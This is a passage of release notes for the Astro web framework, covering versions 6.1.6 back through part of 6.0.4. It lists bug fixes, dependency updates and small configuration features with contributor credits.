[`v6.1.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#616) [Compare Source](https://github.com/withastro/astro/compare/astro@6.1.5...astro@6.1.6) ##### Patch Changes - [#&#8203;16202](https://github.com/withastro/astro/pull/16202) [`b5c2fba`](https://github.com/withastro/astro/commit/b5c2fba8bf2bc315db94e525f12f7661dd357822) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes Actions failing with `ActionsWithoutServerOutputError` when using `output: 'static'` with an adapter - [#&#8203;16303](https://github.com/withastro/astro/pull/16303) [`b06eabf`](https://github.com/withastro/astro/commit/b06eabf01afda713066feb803bbc4c89af634aaf) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Improves handling of special characters in inline `<script>` content - [#&#8203;14924](https://github.com/withastro/astro/pull/14924) [`bb4586a`](https://github.com/withastro/astro/commit/bb4586a73e32659e6cd4f610799799b634cfc658) Thanks [@&#8203;aralroca](https://github.com/aralroca)! - Fixes SCSS and CSS module file changes triggering a full page reload instead of hot-updating styles in place during development ### [`v6.1.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#615) [Compare Source](https://github.com/withastro/astro/compare/astro@6.1.4...astro@6.1.5) ##### Patch Changes - [#&#8203;16171](https://github.com/withastro/astro/pull/16171) [`5bcd03c`](https://github.com/withastro/astro/commit/5bcd03c1852cb7a7e165017089cc39c111599530) Thanks [@&#8203;Desel72](https://github.com/Desel72)! - Fixes a build error that occurred when a pre-rendered page used the `<Picture>` component and another page called `render()` on content collection entries. - [#&#8203;16239](https://github.com/withastro/astro/pull/16239) [`7c65c04`](https://github.com/withastro/astro/commit/7c65c0495a12dcb86e6566223e398094566d1435) Thanks [@&#8203;dataCenter430](https://github.com/dataCenter430)! - Fixes sync content inside `<Fragment>` not streaming to the browser until all async sibling expressions have resolved. - [#&#8203;16242](https://github.com/withastro/astro/pull/16242) [`686c312`](https://github.com/withastro/astro/commit/686c3124c1f4078d8395c86047020d92225e71ae) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Revives UnoCSS in dev mode when used with the client router. This change partly reverts [#&#8203;16089](https://github.com/withastro/astro/pull/16089), which in hindsight turned out to be too general. Instead of automatically persisting all style sheets, we now do this only for styles from Vue components. - [#&#8203;16192](https://github.com/withastro/astro/pull/16192) [`79d86b8`](https://github.com/withastro/astro/commit/79d86b88ef199d6a2195584ec53b225c6a9df5f9) Thanks [@&#8203;alexanderniebuhr](https://github.com/alexanderniebuhr)! - Uses today’s date for Cloudflare `compatibility_date` in `astro add cloudflare` When creating new projects, `astro add cloudflare` now sets `compatibility_date` to the current date. Previously, this date was resolved from locally installed packages, which could be unreliable in some package manager environments. Using today’s date is simpler and more reliable across environments, and is supported by [`workerd`](https://github.com/cloudflare/workers-sdk/pull/13051). - [#&#8203;16259](https://github.com/withastro/astro/pull/16259) [`34df955`](https://github.com/withastro/astro/commit/34df95585662d8d00f09e1295cdfe51f2dc78e3f) Thanks [@&#8203;gameroman](https://github.com/gameroman)! - Removed `dlv` dependency ### [`v6.1.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#614) [Compare Source](https://github.com/withastro/astro/compare/astro@6.1.3...astro@6.1.4) ##### Patch Changes - [#&#8203;16197](https://github.com/withastro/astro/pull/16197) [`21f9fe2`](https://github.com/withastro/astro/commit/21f9fe29f5de442a3e0672ea36dbe690491f3e8c) Thanks [@&#8203;SchahinRohani](https://github.com/SchahinRohani)! - Remove unused re-exports from assets/utils barrel file to fix Vite build warning - [#&#8203;16059](https://github.com/withastro/astro/pull/16059) [`6d5469e`](https://github.com/withastro/astro/commit/6d5469e2c8ddd5c2a546052ac7e3b0fb801b9069) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `Expected 'miniflare' to be defined` errors and 404 responses in dev mode when using the Cloudflare adapter and the config file changes. Instead of creating a brand new Vite server on config changes, Astro now performs a Vite in-place restart, allowing the Cloudflare adapter to reuse its existing miniflare instance across restarts. - [#&#8203;16154](https://github.com/withastro/astro/pull/16154) [`7610ba4`](https://github.com/withastro/astro/commit/7610ba4552b51a64be59ad16e8450ce6672579f0) Thanks [@&#8203;Desel72](https://github.com/Desel72)! - Fixes pages with dots in their filenames (e.g. `hello.world.astro`) returning 404 when accessed with a trailing slash in the dev server. The `trailingSlashForPath` function now only forces `trailingSlash: 'never'` for endpoints with file extensions, allowing pages to correctly respect the user's `trailingSlash` config. - [#&#8203;16193](https://github.com/withastro/astro/pull/16193) [`23425e2`](https://github.com/withastro/astro/commit/23425e2413b25cd304b64b4711f86f3f889546ff) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `trailingSlash: "always"` producing redirect HTML instead of the actual response for extensionless endpoints during static builds ### [`v6.1.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#613) [Compare Source](https://github.com/withastro/astro/compare/astro@6.1.2...astro@6.1.3) ##### Patch Changes - [#&#8203;16161](https://github.com/withastro/astro/pull/16161) [`b51f297`](https://github.com/withastro/astro/commit/b51f2972d4c5d877f9087b86bb2b1d62c8293be5) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a dev rendering issue with the Cloudflare adapter where head metadata could be missing and dev CSS/scripts could be injected in the wrong place - [#&#8203;16110](https://github.com/withastro/astro/pull/16110) [`de669f0`](https://github.com/withastro/astro/commit/de669f0a11c606cc4703762a73c2566d17667453) Thanks [@&#8203;tmimmanuel](https://github.com/tmimmanuel)! - Fixes skew protection query parameters not being appended to inter-chunk JavaScript imports in client bundles, which could cause version mismatches during rolling deployments on Vercel - [#&#8203;16162](https://github.com/withastro/astro/pull/16162) [`a0a49e9`](https://github.com/withastro/astro/commit/a0a49e99fd63419cae8bf143e1a58f532c52ee94) Thanks [@&#8203;rururux](https://github.com/rururux)! - Fixes an issue where HMR would not trigger when modifying files while using [@&#8203;astrojs/cloudflare](https://github.com/astrojs/cloudflare) with prerenderEnvironment: 'node' enabled. - [#&#8203;16142](https://github.com/withastro/astro/pull/16142) [`7454854`](https://github.com/withastro/astro/commit/7454854dfcb9b7e9ae7f825dbf72bdf3106b78e1) Thanks [@&#8203;rururux](https://github.com/rururux)! - Fixes HTML content being incorrectly escaped as plain text when rendering a MDX component using the `AstroContainer` APIs. - [#&#8203;16116](https://github.com/withastro/astro/pull/16116) [`12602a9`](https://github.com/withastro/astro/commit/12602a907c4eba0508145938c652362f37240878) Thanks [@&#8203;riderx](https://github.com/riderx)! - Fixes a bug where page-level CSS could leak between unrelated pages when traversing style parents across top-level route boundaries - [#&#8203;16178](https://github.com/withastro/astro/pull/16178) [`a7e7567`](https://github.com/withastro/astro/commit/a7e75678356488416a31184cdc53204094486820) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes SSR builds failing with "No matching renderer found" when a project only has injected routes and no `src/pages/` directory ### [`v6.1.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#612) [Compare Source](https://github.com/withastro/astro/compare/astro@6.1.1...astro@6.1.2) ##### Patch Changes - [#&#8203;16104](https://github.com/withastro/astro/pull/16104) [`47a394d`](https://github.com/withastro/astro/commit/47a394d7cf2eb735fcee8e90830737f9e900a274) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `astro preview` ignoring `vite.preview.allowedHosts` set in `astro.config.mjs` - [#&#8203;16047](https://github.com/withastro/astro/pull/16047) [`711f837`](https://github.com/withastro/astro/commit/711f837cfa3374a458f1f91e08bc388e7c0e12e6) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes catch-all routes incorrectly intercepting requests for static assets when using the `@astrojs/node` adapter in middleware mode. - [#&#8203;15981](https://github.com/withastro/astro/pull/15981) [`a60cbb6`](https://github.com/withastro/astro/commit/a60cbb6963d55aa272281edfeecf7251d987b0fb) Thanks [@&#8203;moktamd](https://github.com/moktamd)! - Fix Zod v4 validation error formatting to show human-readable messages instead of raw JSON ### [`v6.1.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#6110) [Compare Source](https://github.com/withastro/astro/compare/astro@6.1.0...astro@6.1.1) ##### Patch Changes - [#&#8203;16479](https://github.com/withastro/astro/pull/16479) [`1058428`](https://github.com/withastro/astro/commit/1058428df2d13878c6130787636dd1778273a934) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a spurious `[WARN] [content] Content config not loaded` warning during `astro dev` for projects that don't use content collections - [#&#8203;16457](https://github.com/withastro/astro/pull/16457) [`3d82220`](https://github.com/withastro/astro/commit/3d82220a1549e699e34ed433f3846a919f4c02bd) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens server island encryption to prevent encrypted data from one island component being replayed against a different one - [#&#8203;16481](https://github.com/withastro/astro/pull/16481) [`152700e`](https://github.com/withastro/astro/commit/152700e08178285b240d8ef947cccd47b870ee5f) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a spurious 404 request for a dev toolbar sourcemap during `astro dev` caused by the browser mis-resolving a relative `sourceMappingURL` from the `/@&#8203;id/` URL prefix - [#&#8203;16480](https://github.com/withastro/astro/pull/16480) [`1bcb43b`](https://github.com/withastro/astro/commit/1bcb43bf04f3fa8f4623897ae2a937250f35216a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes an unnecessary full page reload on first navigation during dev ### [`v6.1.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#610) [Compare Source](https://github.com/withastro/astro/compare/astro@6.0.8...astro@6.1.0) ##### Minor Changes - [#&#8203;15804](https://github.com/withastro/astro/pull/15804) [`a5e7232`](https://github.com/withastro/astro/commit/a5e723217f30020ae82ca67190794150e9e94e15) Thanks [@&#8203;merlinnot](https://github.com/merlinnot)! - Allows setting codec-specific defaults for Astro's built-in Sharp image service via `image.service.config`. You can now configure encoder-level options such as `jpeg.mozjpeg`, `webp.effort`, `webp.alphaQuality`, `avif.effort`, `avif.chromaSubsampling`, and `png.compressionLevel` when using `astro/assets/services/sharp` for compile-time image generation. These settings apply as defaults for the built-in Sharp pipeline, while per-image `quality` still takes precedence when set on `<Image />`, `<Picture />`, or `getImage()`. - [#&#8203;15455](https://github.com/withastro/astro/pull/15455) [`babf57f`](https://github.com/withastro/astro/commit/babf57f83f47d4cd1fa73a55863718b71c8eebf0) Thanks [@&#8203;AhmadYasser1](https://github.com/AhmadYasser1)! - Adds `fallbackRoutes` to the `IntegrationResolvedRoute` type, exposing i18n fallback routes to integrations via the `astro:routes:resolved` hook for projects using `fallbackType: 'rewrite'`. This allows integrations such as the sitemap integration to properly include generated fallback routes in their output. ```js { 'astro:routes:resolved': ({ routes }) => { for (const route of routes) { for (const fallback of route.fallbackRoutes) { console.log(fallback.pathname) // e.g. /fr/about/ } } } } ``` - [#&#8203;15340](https://github.com/withastro/astro/pull/15340) [`10a1a5a`](https://github.com/withastro/astro/commit/10a1a5a5232fa401ca814b396cf79aeccdfdf8a9) Thanks [@&#8203;trueberryless](https://github.com/trueberryless)! - Adds support for advanced configuration of SmartyPants in Markdown. You can now pass an options object to `markdown.smartypants` in your Astro configuration to fine-tune how punctuation, dashes, and quotes are transformed. This is helpful for projects that require specific typographic standards, such as "oldschool" dash handling or localized quotation marks. ```js // astro.config.mjs export default defineConfig({ markdown: { smartypants: { backticks: 'all', dashes: 'oldschool', ellipses: 'unspaced', openingQuotes: { double: '«', single: '‹' }, closingQuotes: { double: '»', single: '›' }, quotes: false, }, }, }); ``` See [the `retext-smartypants` options](https://github.com/retextjs/retext-smartypants?tab=readme-ov-file#fields) for more information. ##### Patch Changes - [#&#8203;16025](https://github.com/withastro/astro/pull/16025) [`a09f319`](https://github.com/withastro/astro/commit/a09f3194f6ddf04874be424c28db03caf33d2c75) Thanks [@&#8203;koji-1009](https://github.com/koji-1009)! - Instructs the client router to skip view transition animations when the browser is already providing its own visual transition, such as a swipe gesture. - [#&#8203;16055](https://github.com/withastro/astro/pull/16055) [`ccecb8f`](https://github.com/withastro/astro/commit/ccecb8fc057cada9b0e70924d364181391c647e4) Thanks [@&#8203;Gautam-Bharadwaj](https://github.com/Gautam-Bharadwaj)! - Fixes an issue where `client:only` components could have duplicate `client:component-path` attributes added in MDX in rare cases - [#&#8203;16081](https://github.com/withastro/astro/pull/16081) [`44fc340`](https://github.com/withastro/astro/commit/44fc34015d702824c55b031c7b800165f7ba807d) Thanks [@&#8203;crazylogic03](https://github.com/crazylogic03)! - Fixes the `emitFile() is not supported in serve mode` warning that appears during `astro dev` when using integrations that inject before-hydration scripts (e.g. `@astrojs/react`) - [#&#8203;16068](https://github.com/withastro/astro/pull/16068) [`31d733b`](https://github.com/withastro/astro/commit/31d733b00a7efe5b29bdadab21daf8b3eea6ae55) Thanks [@&#8203;Karthikeya1500](https://github.com/Karthikeya1500)! - Fixes the dev toolbar a11y audit incorrectly classifying `menuitemradio` as a non-interactive ARIA role. - [#&#8203;16080](https://github.com/withastro/astro/pull/16080) [`e80ac73`](https://github.com/withastro/astro/commit/e80ac73e4433d1ac0518af731f2af00f8aaa46ad) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes `experimental.queuedRendering` incorrectly escaping the HTML output of `.html` page files, causing the page content to render as plain text instead of HTML in the browser. - [#&#8203;16048](https://github.com/withastro/astro/pull/16048) [`13b9d56`](https://github.com/withastro/astro/commit/13b9d5685d0e1b34b793d0a00d64e3f8310f9f17) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a dev server crash (`serverIslandNameMap.get is not a function`) that occurred when navigating to a page with `server:defer` after first visiting a page without one, when using `@astrojs/cloudflare` - [#&#8203;16093](https://github.com/withastro/astro/pull/16093) [`336e086`](https://github.com/withastro/astro/commit/336e086e084202d9c6f218226a3133bb1e10f0ba) Thanks [@&#8203;Snugug](https://github.com/Snugug)! - Fixes Zod meta not correctly being rendered on top-level schema when converted into JSON Schema - [#&#8203;16043](https://github.com/withastro/astro/pull/16043) [`d402485`](https://github.com/withastro/astro/commit/d402485b4b196630e891d7fd21683d9b1e1c1ab8) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes `checkOrigin` CSRF protection in `astro dev` behind a TLS-terminating reverse proxy. The dev server now reads `X-Forwarded-Proto` (gated on `security.allowedDomains`, matching production behaviour) so the constructed request origin matches the `https://` origin the browser sends. Also ensures `security.allowedDomains` and `security.checkOrigin` are respected in dev. - [#&#8203;16064](https://github.com/withastro/astro/pull/16064) [`ba58e0d`](https://github.com/withastro/astro/commit/ba58e0d6edbc3f8a651ab0c20df9b1f33572bd7b) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Updates the dependency `svgo` to the latest, to fix a security issue. - [#&#8203;16007](https://github.com/withastro/astro/pull/16007) [`2dcd8d5`](https://github.com/withastro/astro/commit/2dcd8d54c6fb00183228d757bf684e67c79029d8) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where fonts files would unecessarily be copied several times during the build - [#&#8203;16017](https://github.com/withastro/astro/pull/16017) [`b089b90`](https://github.com/withastro/astro/commit/b089b904f1ed578e9edaefd129bf9843120a808f) Thanks [@&#8203;felmonon](https://github.com/felmonon)! - Fix the `astro sync` error message when `getImage()` is called while loading content collections. - [#&#8203;16014](https://github.com/withastro/astro/pull/16014) [`fa73fbb`](https://github.com/withastro/astro/commit/fa73fbbac25c96eeadb766666ea3b2aded440bab) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a build error where using `astro:config/client` inside a `<script>` tag would cause Rollup to fail with "failed to resolve import `virtual:astro:routes` from `virtual:astro:manifest`" - [#&#8203;16054](https://github.com/withastro/astro/pull/16054) [`f74465a`](https://github.com/withastro/astro/commit/f74465aa406ddfbc9d458189bf7a2e67a227b33c) Thanks [@&#8203;seroperson](https://github.com/seroperson)! - Fixes an issue with the development server, where changes to the middleware weren't picked, and it required a full restart of the server. - [#&#8203;16033](https://github.com/withastro/astro/pull/16033) [`198d31b`](https://github.com/withastro/astro/commit/198d31b3a816c76b9119112589ae2bf8379346ad) Thanks [@&#8203;adampage](https://github.com/adampage)! - Fixes a bug where the the role `image` was incorrectly reported by audit tool bar. - [#&#8203;15935](https://github.com/withastro/astro/pull/15935) [`278828c`](https://github.com/withastro/astro/commit/278828cd35409f6db9dab766c7208fbab5f204c1) Thanks [@&#8203;oliverlynch](https://github.com/oliverlynch)! - Fixes cached assets failing to revalidate due to redirect check mishandling Not Modified responses. - [#&#8203;16075](https://github.com/withastro/astro/pull/16075) [`2c1ae85`](https://github.com/withastro/astro/commit/2c1ae859d915726d95d38ea08c4c141eeda2cd3f) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where invalid URLs would be generated in development when using font families with an oblique `style` and angles - [#&#8203;16062](https://github.com/withastro/astro/pull/16062) [`87fd6a4`](https://github.com/withastro/astro/commit/87fd6a4fcb075efa10a518aa8b92a11dd3284964) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Warns on dev server startup when Vite 8 is detected at the top level of the user's project, and automatically adds a `"overrides": { "vite": "^7" }` entry to `package.json` when running `astro add cloudflare`. This prevents a `require_dist is not a function` crash caused by a Vite version split between Astro (requires Vite 7) and packages like `@tailwindcss/vite` that hoist Vite 8. - Updated dependencies \[[`10a1a5a`](https://github.com/withastro/astro/commit/10a1a5a5232fa401ca814b396cf79aeccdfdf8a9)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;7.1.0 ### [`v6.0.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#608) [Compare Source](https://github.com/withastro/astro/compare/astro@6.0.7...astro@6.0.8) ##### Patch Changes - [#&#8203;15978](https://github.com/withastro/astro/pull/15978) [`6d182fe`](https://github.com/withastro/astro/commit/6d182fe267586e2ee57113ad559912a456019306) Thanks [@&#8203;seroperson](https://github.com/seroperson)! - Fixes a bug where Astro Actions didn't properly support nested object properties, causing problems when users used zod functions such as `superRefine` or `discriminatedUnion`. - [#&#8203;16011](https://github.com/withastro/astro/pull/16011) [`e752170`](https://github.com/withastro/astro/commit/e752170b64f436ccb4acef9612951c50927afa0c) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a dev server hang on the first request when using the Cloudflare adapter - [#&#8203;15997](https://github.com/withastro/astro/pull/15997) [`1fddff7`](https://github.com/withastro/astro/commit/1fddff7ae6510812f04e62c77eea9de6fbc76f57) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes `Astro.rewrite()` failing when the target path contains duplicate slashes (e.g. `//about`). The duplicate slashes are now collapsed before URL parsing, preventing them from being interpreted as a protocol-relative URL. ### [`v6.0.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#607) [Compare Source](https://github.com/withastro/astro/compare/astro@6.0.6...astro@6.0.7) ##### Patch Changes - [#&#8203;15950](https://github.com/withastro/astro/pull/15950) [`acce5e8`](https://github.com/withastro/astro/commit/acce5e84046f1f459a8f37686cf6054e2243f5ad) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a build regression in projects with multiple frontend integrations where `server:defer` server islands could fail at runtime when all pages are prerendered. - [#&#8203;15988](https://github.com/withastro/astro/pull/15988) [`c93b4a0`](https://github.com/withastro/astro/commit/c93b4a02fdf3b477d1668a8576f23d4526f25d87) Thanks [@&#8203;ossaidqadri](https://github.com/ossaidqadri)! - Fix styles from dynamically imported components not being injected on first dev server load. - [#&#8203;15968](https://github.com/withastro/astro/pull/15968) [`3e7a9d5`](https://github.com/withastro/astro/commit/3e7a9d5fe07ef17057ede6f6f443f47e11905701) Thanks [@&#8203;chasemccoy](https://github.com/chasemccoy)! - Fixes `renderMarkdown` in custom content loaders not resolving images in markdown content. Images referenced in markdown processed by `renderMarkdown` are now correctly optimized, matching the behavior of the built-in `glob()` loader. - [#&#8203;15990](https://github.com/withastro/astro/pull/15990) [`1e6017f`](https://github.com/withastro/astro/commit/1e6017ffdfa11ccb5f5de33a0b8b57096c76e675) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where `Astro.currentLocale` would always be the default locale instead of the actual one when using a dynamic route like `[locale].astro` or `[locale]/index.astro`. It now resolves to the correct locale from the URL. - [#&#8203;15990](https://github.com/withastro/astro/pull/15990) [`1e6017f`](https://github.com/withastro/astro/commit/1e6017ffdfa11ccb5f5de33a0b8b57096c76e675) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where visiting an invalid locale URL (e.g. `/asdf/`) would show the content of a dynamic `[locale]` page with a 404 status code, instead of showing your custom 404 page. Now, the correct 404 page is rendered when the locale in the URL doesn't match any configured locale. - [#&#8203;15960](https://github.com/withastro/astro/pull/15960) [`1d84020`](https://github.com/withastro/astro/commit/1d840201c63f2b0dae91f5b4894afe25fc5d23ad) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes Cloudflare dev server islands with `prerenderEnvironment: 'node'` by sharing the serialized manifest encryption key across dev environments and routing server island requests through the SSR runtime. - [#&#8203;15735](https://github.com/withastro/astro/pull/15735) [`9685e2d`](https://github.com/withastro/astro/commit/9685e2d5ef132ca113144c1714163511a93fd29e) Thanks [@&#8203;fa-sharp](https://github.com/fa-sharp)! - Fixes an EventEmitter memory leak when serving static pages from Node.js middleware. When using the middleware handler, requests that were being passed on to Express / Fastify (e.g. static files / pre-rendered pages / etc.) weren't cleaning up socket listeners before calling `next()`, causing a memory leak warning. This fix makes sure to run the cleanup before calling `next()`. ### [`v6.0.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#606) [Compare Source](https://github.com/withastro/astro/compare/astro@6.0.5...astro@6.0.6) ##### Patch Changes - [#&#8203;15965](https://github.com/withastro/astro/pull/15965) [`2dca307`](https://github.com/withastro/astro/commit/2dca3074ed3de24bd23d0a17fd10a168660b2ac1) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes client hydration for components imported through Node.js subpath imports (`package.json#imports`, e.g. `#components/*`), for example when using the Cloudflare adapter in development. - [#&#8203;15770](https://github.com/withastro/astro/pull/15770) [`6102ca2`](https://github.com/withastro/astro/commit/6102ca2c16d5bf0ea621764351a33a99455fa0a0) Thanks [@&#8203;jpc-ae](https://github.com/jpc-ae)! - Updates the `create astro` welcome message to highlight the graceful dev/preview server quit command rather than the kill process shortcut - [#&#8203;15953](https://github.com/withastro/astro/pull/15953) [`7eddf22`](https://github.com/withastro/astro/commit/7eddf22cd4d4719d966ed7168e9890fac8fc29f5) Thanks [@&#8203;Desel72](https://github.com/Desel72)! - fix(hmr): eagerly recompile on style-only change to prevent stale slots render - [#&#8203;15916](https://github.com/withastro/astro/pull/15916) [`5201ed4`](https://github.com/withastro/astro/commit/5201ed464258e799a1e898f4c4adc84d7445bad3) Thanks [@&#8203;trueberryless](https://github.com/trueberryless)! - Fixes `InferLoaderSchema` type inference for content collections defined with a loader that includes a `schema` - [#&#8203;15864](https://github.com/withastro/astro/pull/15864) [`d3c7de9`](https://github.com/withastro/astro/commit/d3c7de9253e9cb31fa5c4bf9f4bdf59dd1ada7b0) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes temporary support for Node >=20.19.1 because Stackblitz now uses Node 22 by default - [#&#8203;15944](https://github.com/withastro/astro/pull/15944) [`a5e1acd`](https://github.com/withastro/astro/commit/a5e1acdebef4e061341eca24128667a3009a7048) Thanks [@&#8203;fkatsuhiro](https://github.com/fkatsuhiro)! - Fixes SSR dynamic routes with `.html` extension (e.g. `[slug].html.astro`) not working - [#&#8203;15937](https://github.com/withastro/astro/pull/15937) [`d236245`](https://github.com/withastro/astro/commit/d236245faf676082df6756654e504ad69e2e4d28) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where HMR didn't correctly work on Windows when adding/changing/deleting routes in `pages/`. - [#&#8203;15931](https://github.com/withastro/astro/pull/15931) [`98dfb61`](https://github.com/withastro/astro/commit/98dfb61f963d70961dc2b28d786a6280f52603a1) Thanks [@&#8203;Strernd](https://github.com/Strernd)! - Fix skew protection query params not being applied to island hydration `component-url` and `renderer-url`, and ensure query params are appended safely for asset URLs with existing search/hash parts. - Updated dependencies \[]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;7.0.1 ### [`v6.0.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#605) [Compare Source](https://github.com/withastro/astro/compare/astro@6.0.4...astro@6.0.5) ##### Patch Changes - [#&#8203;15891](https://github.com/withastro/astro/pull/15891) [`b889231`](https://github.com/withastro/astro/commit/b88923114e3cfe30c945680a62c7bd7f667bbf4d) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix dev routing for `server:defer` islands when adapters opt into handling prerendered routes in Astro core. Server island requests are now treated as prerender-handler eligible so prerendered pages using `prerenderEnvironment: 'node'` can load island content without `400` errors. - [#&#8203;15890](https://github.com/withastro/astro/pull/15890) [`765a887`](https://github.com/withastro/astro/commit/765a8871ed5fb30bb0211e2f8524bd97081acbca) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `astro:actions` validation to check resolved routes, so projects using default static output with at least one `prerender = false` page or endpoint no longer fail during startup. - [#&#8203;15884](https://github.com/withastro/astro/pull/15884) [`dcd2c8e`](https://github.com/withastro/astro/commit/dcd2c8e2df88ad81a027b49f6f9dcdba614f836a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Avoid a `MaxListenersExceededWarning` during `astro dev` startup by increasing the shared Vite watcher listener limit when attaching content server listeners. - [#&#8203;15904](https://github.com/withastro/astro/pull/15904) [`23d5244`](https://github.com/withastro/astro/commit/23d5244361f9452c1d124600d2cc97aa3fe4a63c) Thanks [@&#8203;jlukic](https://github.com/jlukic)! - Emit the `before-hydration` script chunk for the `client` Vite environment. The chunk was only emitted for `prerender` and `ssr` environments, causing a 404 when browsers tried to load it. This broke hydration for any integration using `injectScript('before-hydration', ...)`, including Lit SSR. - [#&#8203;15933](https://github.com/withastro/astro/pull/15933) [`325901e`](https://github.com/withastro/astro/commit/325901e623462babd8d07ba7527e141e08ef1901) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where `<style>` tags inside SVG components weren't correctly tracked when enabling CSP. - [#&#8203;15875](https://github.com/withastro/astro/pull/15875) [`c43ef8a`](https://github.com/withastro/astro/commit/c43ef8a565564770f022bd7cf9d2fcccf5949308) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Ensure custom prerenderers are always torn down during build, even when `getStaticPaths()` throws. - [#&#8203;15887](https://github.com/withastro/astro/pull/15887) [`1861fed`](https://github.com/withastro/astro/commit/1861fedef36394ff89604125b785aca073c0d35d) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the build incorrectly leaked server entrypoint into the client environment, causing adapters to emit warnings during the build. - [#&#8203;15888](https://github.com/withastro/astro/pull/15888) [`925252e`](https://github.com/withastro/astro/commit/925252e8c361a169d1f4dc1e3677b96b9e815dea) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix a bug where `server:defer` could fail at runtime in prerendered pages for some adapters (including Cloudflare), causing errors like `serverIslandMap?.get is not a function`. - [#&#8203;15901](https://github.com/withastro/astro/pull/15901) [`07c1002`](https://github.com/withastro/astro/commit/07c1002835f9bd91c9acaa82515254e4e11094d4) Thanks [@&#8203;delucis](https://github.com/delucis)! - Fixes JSON schema generation for content collection schemas that have differences between their input and output shapes. - [#&#8203;15882](https://github.com/withastro/astro/pull/15882) [`759f946`](https://github.com/withastro/astro/commit/759f9461bf8818380e3cc83a9bc1844c82a52c6d) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix `Astro.url.pathname` for the root page when using `build.format: "file"` so it resolves to `/index.html` instead of `/.html` during builds. ### [`v6.0.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#604) [Compare Source](https://github.com/withastro/astro/compare/astro@6.0.3...astro@6.0.4) ##### Patch Changes - [#&#8203;15870](https://github.com/withastro/astro/pull/15870) [`920f10b`](https://github.com/withastro/astro/commit/920f10bb3a49da8355967df99c32c43cc9f53b46) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prebundle `astro/toolbar` in dev when custom dev toolbar apps are registered, preventing re-optimization reloads that can hide or break the toolbar. - [#&#8203;15876](https://github.com/withastro/astro/pull/15876) [`f47ac53`](https://github.com/withastro/astro/commit/f47ac5352dcb36daa64ec12b7d4ac193045d10e3) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes `redirectToDefaultLocale` producing a protocol-relative URL (`//locale`) instead of an absolute path (`/locale`) when `base` is `'/'`. - [#&#8203;15767](https://github.com/withastro/astro/pull/15767) [`e0042f7`](https://github.com/withastro/astro/commit/e0042f720274d8763907c1d429723192a71d6932) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes server islands (`server:defer`) not working when only used in prerendered pages with `output: 'server'`. - [#&#8203;15873](https://github.com/withastro/astro/pull/15873) [`35841ed`](https://github.com/withastro/astro/commit/35841ed273581a567cd726bb2d14d2ed3886bed0) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix a dev server bug where newly created pages could miss layout-imported CSS until restart. - [#&#8203;15874](https://github.com/withastro/astro/pull/15874) [`ce0669d`](https://github.com/withastro/astro/commit/ce0669d68115c5e2d00238f3e780a2af50f5be11) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a warning when using `prefetchAll` - [#&#8203;15754](https://github.com/withastro/astro/pull/15754) [`58f1d63`](https://github.com/withastro/astro/commit/58f1d63cbcdd351d80cc65ceff4cb1a8d1aa1853) Thanks [@&#8203;rururux](https://github.com/rururux)! - Fixes a bug where a directory at the project root 